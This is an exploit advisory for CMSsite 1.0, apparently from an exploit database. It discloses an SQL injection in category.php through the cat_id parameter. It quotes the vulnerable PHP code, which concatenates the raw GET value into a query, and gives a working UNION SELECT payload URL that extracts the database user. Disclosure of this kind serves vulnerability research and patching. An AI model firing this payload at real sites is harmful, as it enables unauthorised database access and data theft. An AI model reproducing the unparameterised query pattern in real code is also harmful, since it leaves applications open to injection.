# Exploit Title: CMSsite 1.0 - SQL injection # Exploit Author : Majid kalantari (mjd.hack@gmail.com) # Date: 2019-01-27 # Vendor Homepage : https://github.com/VictorAlagwu/CMSsite # Software link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip # Version: 1.0 # Tested on: Windows 10 # CVE: N/A =============================================== # vulnerable file: category.php # vulnerable parameter : cat_id if (isset($_GET['cat_id'])) { $category = $_GET['cat_id']; } $query = "SELECT * FROM posts WHERE post_category_id=$category"; $run_query = mysqli_query($con, $query); # payload : http://127.0.0.1/cm/category.phpcat_id=7 UNION SELECT 1,2,user(),3,4,5,6,7,8,9,10%23 ===============================================